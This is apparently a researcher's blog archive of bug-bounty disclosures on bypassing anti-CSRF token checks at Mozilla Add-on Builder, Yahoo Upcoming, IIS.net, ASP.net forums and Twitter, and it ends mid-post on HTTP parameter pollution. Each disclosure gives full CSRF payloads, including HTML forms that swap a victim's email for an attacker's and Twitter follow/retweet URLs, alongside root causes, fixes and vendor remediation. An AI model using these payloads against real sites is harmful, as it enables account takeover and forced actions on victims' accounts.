Welcome to Web Application Security Research: Anti-CSRF Token Bypass

Showing posts with label Anti-CSRF Token Bypass. Show all posts

Wednesday, June 8, 2016

Builder.addons.mozilla.org Anti-CSRF Token Bypass

Builder.addons.mozilla.org CSRF Vulnerability

I want to share my another finding on Mozilla which I have reported to them under their bug bounty program.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can delete the Add-ons, can make Private Add-ons as public and can Publish Unpublished Add-ons from victims account.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token then I tried to check whether token is getting validated on not and after that I tried to check that the token validation is based on full length check and lastly I tried to check that the token validation is based on partial length check but none of them worked as the token was getting validated on server-side.

Now only 3 options left 1st option is that I have to somehow predict or guess the token, 2nd option is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P.

And the 3rd option is that I have to find a way using which the CSRF token validation doesn't happen on the server-side so then I thought why not change the default POST request method to GET method and remove the CSRF token parameter and its value from and send the crafted request I tried that but but again is also not work :P as the CSRF token was properly getting validated on the server-side.

So then something striked again why not remove the Request Type Header(i.e. XMLHttpRequest) and Change the default method from POST to GET and send it as a normal request instead of XMLHttpRequest without any CSRF token parameter and its value.

So for that I crafted a CSRF payload as mentioned below in step two, which contains a Request with GET method instead of default POST method and I deleted the CSRF token parameter and its value and also remove the Request Type Header(i.e. XMLHttpRequest) an then I sent this crafted request. Now guess what this crafted request got executed as the Anti-CSRF Token validated was not happening now on server-side :P and it worked I tried it on some other test users account also and it worked for all users Bingo :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value and Request Type Header:

POST /package/delete/157917/ HTTP/1.1
Host: builder.addons.mozilla.org
Cookie: JSESSIONID=SessionValue; Domain=builder.addons.mozilla.org; Secure; HttpOnly
Content-Type: application/x-www-form-urlencoded
Request-Type: XMLHttpRequest

CSRFToken=9H217mdn3h12h1n1j1j1j1j1

2. After that Modify the default POST method to GET and remove the Anti-CSRF Token parameter and its random value the request and also remove the XMLHttpRequest request type header from the crafted request.

Add-on Deletion & Anti CSRF Token Bypass(Modified GET Request after changing the default Method and after Removing the CSRF Token and XMLHttpRequest request type Header:

<html>
<body>
    <form action="https://builder.addons.mozilla.org/package/delete/157917/" method="GET">
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link while he is logged into his account, the victims account Add-on will be deleted permanently. And same way the victims account Private Add-ons can be made Public and can Publish Unpublished Add-ons.The server will respond as mentioned in the screenshots.

POC:

Rootcause:

Anti-CSRF Token Parameter CSRFToken and its values validation was based on the Request Method(like POST) and Request Type(i.e. XMLHttpRequest). So we can simply say that the Token validation was not happening on the server-side if we change the default Method of the request from POST to GET and if we remove the XMLHttpRequest request type header from the crafted request and send a normal request without any CSRF token.

Impact:

All Builder.addons.mozilla.org users were vulnerable to this CSRF attack using this vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Delete the Add-ons and make Private Add-ons public from the victims account.

Recommendation:

Anti-CSRF token validation shall not be based on the Request Method Type(i.e POST) and the Request Type Header(i.e. XMLHttpRequest).

The Request Type Header(i.e. XMLHttpRequest) shall be forcefully implemented and normal requests shall not be allowed nor any other Method apart from the Default Method shall be allowed.

Anti-CSRF Token Csrf_Token and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of POST method PUT method shall be used.

The vulnerability was mitigated by Mozilla Security Team in few days with the following response.

So in this way, one can bypass Anti-CSRF token validation and can Delete the Add-ons and make Private Add-ons public from the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Monday, June 9, 2014

Upcoming.yahoo.com Anti-CSRF Token Bypass

Upcoming.yahoo.com CSRF Vulnerability

I want to share my another finding on Yahoo which I have reported to them in April 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P so then something striked again why not compare the anti-csrf token of different users accounts so I found that the each users accounts anti-csrf tokens full length was 90 characters thats means it was constant and first 20 Chars of the anti-csrf token were same for each users accounts and the remaining 70 Chars were different for all users accounts.

So for that I created 5 dummy account for testing purpose on Yahoo Upcoming and then crafted a CSRF payload as mentioned below which is containing first 20 Chars value(same for 5 dummy test users accounts) and remaining 70 Chars as a random value, So the Crafted Anti-CSRF token was having a full length of 90 Chars.

Then I sent the CSRF request with the crafted Anti-CSRF token of 90 Chars(which contains 20 Chars as same for all users accounts and reamining 70 Chars as any random value) and then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked on 1st user I tried it on all users and its worked for all users Bingo :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<body>
    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
      <input type="hidden" name="new_email" value="victimsemailid@gmail.com" />
      <input type="hidden" name="new_email_check" value="victimsemailid@gmail.com" />
      <input type="hidden" name="Csrf_Token" value="Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur" />
      <input type="hidden" name="Submit" value="Change Email" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter Csrf_token values from Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur to Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54 were 1st 20 Chars value is constant and reusable for any other users account and remaining 70 Chars are any random value so the tokens full length is 90 Chars and this crafted token value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 20 Chars Constant, Reusable & 70 Chars are Random Value):

<html>
<body>
    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
      <input type="hidden" name="new_email" value="attackersemailid@gmail.com" />
      <input type="hidden" name="new_email_check" value="attackersemailid@gmail.com" />
      <input type="hidden" name="CSRF_Token" value="Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54" />
      <input type="hidden" name="Submit" value="Change Email" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it, the attacker can use the forget password option to reset the and compromise the victims account.

Rootcause:

Anti-CSRF Token Parameter Csrf_Token and its values dmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur validation was based on Partial Length Token(20 Chars Constant & Reusable) Plus Full Length Token(70 Chars Random Value) Based Validation (i.e Anti-CSRF Token 1st 20 Chars were Constant & Reusable and remaining 70 Chars were random values so the Tokens Full Length 90 Chars & Partial Length of 20 Reusable & Constant Chars were only getting checked or validated on Server-Side). So we can simply say that the Token which the system(ie app) generated Token was not reusable for other users account but the user generated(ie crafted) Token can be used on victims account as valid CSRF token.

Impact:

All Upcoming.yahoo.com users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.

Recommendation:

Anti-CSRF Token Csrf_Token and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability was mitigated by Yahoo Security Team in 1.5 month.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Saturday, April 19, 2014

Microsofts IIS.net Anti-CSRF Token Bypass

Microsoft's IIS.net CSRF Vulnerability

I want to share my another finding on Microsoft IIS.net which I have reported to them in August 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token then I tried to check whether token is getting validated on not and after that I tried to check that the token validation is based on full length check but none of them worked as the Token was getting validated on server-side.

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length based validation etc but once again none worked :P so then something again striked why not check any random value as Anti-CSRF token by decreasing its length one-by-one without the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on IIS.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having a length(70 Chars) as the current Anti-CSRF Token.

Then I continuously tried to send the CSRF request with the random values of 70 Chars as Anti-CSRF Token in decreasing order.

So 1st CSRF request was containing Anti-CSRF Token value of 70 Chars next will 69 then 68 so like that I tried approx 40 Requests which all failed as the token was not getting validated on server-side but as I sent the 41th Request with the random value as Anti-CSRF Token with the length of 30 Chars then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj to ovomyQnYPxvPXfdxrjO1JEce3zPvGn with 30 Chars length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 30 Chars Random Value):

<html>
<body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj validation was based on Partial Length based validation(i.e Anti-CSRF Token 1st 30 Chars Length was only getting checked on Server-Side).

Impact:

All Microsoft IIS.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.

Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability was mitigated by Microsoft Security Team in 14 days.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

Microsofts Asp.net Anti-CSRF Token Bypass

Microsoft's Asp.net CSRF Vulnerability

I want to share one of my finding on Microsoft Asp.net which I have reported to them in April 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token and after that I tried to check whether token is getting validated on not but none of them worked as the Token was getting validated on server-side.

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity etc but once again none worked :P so then something striked why not to use any random value as Anti-CSRF token with the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on asp.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having same length(70 Chars) as the current Anti-CSRF Token and guess what it worked :D.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="test" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" /></form>
</body>
</html>

2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN to yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD with same length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 70 Chars Random Value):

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="test" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
</form>
</body>
</html>

3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN validation was based on Length based validation(i.e Anti-CSRF Token Full Length was only getting checked on Server-Side).

Impact:

All Microsoft Asp.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.

Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF Token shall be properly validated on server-side instead of only Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.

The vulnerability were mitigated by Microsoft Security Team in 12 days.

Sunday, April 13, 2014

Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities

How we were able to find Twitter Follow Retweet and Tweet Favourite CSRF

We want to share 3 of our findings on Twitter which me and my friend Krutarth have reported to them on March 2014. My good friend @KrutarthShukla was testing Twitter and he was trying deeply to find something on it. And finally he got a Follow CSRF and after sometime later I also got Reweet & Tweet Favourite CSRF. So, we found 3 CSRF vulnerabilities on Twitter.

As you know On Twitter they send a mail almost daily with a following subject line Do you know test, tester and testing on Twitter? which contains the list of peoples who may know you on Twitter with there profile link which has a follow button which contains a link with a Url embeded in it using which you can follow the suggested peoples by twitter.

Also they send a mail once or twice in a month with a following subject line Tweets from Test, Tester, Testing and 5 others which Contains the list trends on Twitter for that month which contains Retweet and Tweet Favourite links with a Url embeded in it using which you can Retweet the tweets and make the Tweets Favourite which were suggested by Twitter. The links were as mentioned below.

1. To Follow Someone Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail&sig=e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c&uid=85273509&iid=60cfddd3808c47c29f88ec5e3a7f5742&nid=42+483+20131130&t=1

2. To Retweet Someones Tweets Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B2013113

3. To Make Someones Tweets Favourite Url was like this:

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130

So using these links the attacker can craft his own CSRF payloads by changing the nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to attackers profile which can be executed using GET request on any Twitter account as the Anti-CSRF token parameter named as Sig and its values can be reused on any other Twitter account nor it ever expires.

Krutarth found the First one Using which an Attacker can Force any Twitter User to Follow the Attacker Twitter Profile Via CSRF on twitter main domain. The other two I have found Using which an Attacker can Force Any Twitter User to Re-Tweet Attacker Desired Tweets and Make Favourite Attackers Tweets Via CSRF on twitter main domain.

So here are the Steps to Execute the Attack:

1. Twitter Follow CSRF

i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Follow CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26uid%3D85273509%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26nid%3D42%2B483%2B20131130%26t%3D1

ii). As this CSRF vulnerable url is executed in any twitter account the victims will start following the attackers Twitter profile.

2. Twitter Retweet CSRF

Twitter Re-Tweet CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

ii). As this CSRF vulnerable url is executed in any twitter account the victims will start re-tweeting the attacker desired tweets.

3. Twitter Tweet Favourite CSRF

1. First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.

Twitter Tweet Favourite CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):

2. As this CSRF vulnerable url is executed in any twitter account the victims will start Making Attackers Tweets as his favourite tweets.

Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities(Quick) POC Video:

After some analysis we have found that when all these CSRF's were executing then they were actually triggering the follow, retweet and favourite button. But as the request executed after those buttons clicking then each of those request were containing the Anti-CSRF token which was properly getting validated on server-side nor resuable an it expires also but as the attacker was able to successfully force the Twitter users to click on the button without his permission, so even though the second request contains Anti-CSRF token cannot prevent this attack.

Rootcause:

Sig token & its value e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c was reuseable for all twitter account and it was not expiring ever also get request was allowed.

Impact:

All Twitter users are vulnerable to this CSRF attack using these vulnerabilities that Attacker Force Any Twitter User to Follow, Re-Tweet and Make Favourite Attackers Tweet Via CSRF.

Recommendation:

Sig token & its value c069a14f1b1cca7b763679029fa3a0f4d94d40cd shall never be reuseable in the attacker own acount and any other twitter users account.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of get method PUT method shall be used.

The vulnerabilities were mitigated by Twitter Security Team in 3 weeks.

So in this way, one can find CSRF also this way can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

Sunday, February 2, 2014

Account Compromise & Anti CSRF Token Bypass by Chaining Client-Side(Reflected) HTTP Parameter Pollution CSRF & Server-Side(Stored) HPP Vulnerabilities

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HPP & Stored HPP Vulnerabilities

While researching and working on bug bounties I have found that by using Reflected HTTP Parameter Pollution vulnerability we can bypass Anti-CSRF token validation and can execute CSRF and after that using the CSRF we can execute the Stored HPP vulnerabilty and can compromise any victims account if that site is vulnerable to these attacks.

The 1st challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that using Reflected HTTP Parameter Pollution vulnerability we can bypass the CSRF token validation even when the token is properly getting validated on server-side.

The actual rootcause of this vulnerability existence is that if the Anti-CSRF token parameter is used 2 times in a request then the 2nd Anti-CSRF token parameter value(the value will be attacker desired) is getting accepted and validated on the server-side instead of the 1st Anti-CSRF token. One more important point is that the if we try to use any other users CSRF token or old used CSRF token or any random CSRF token value using single CSRF token parameter then it was getting denied by the server and the request is getting blocked as the Anti-CSRF token was properly getting validated on the server-side.

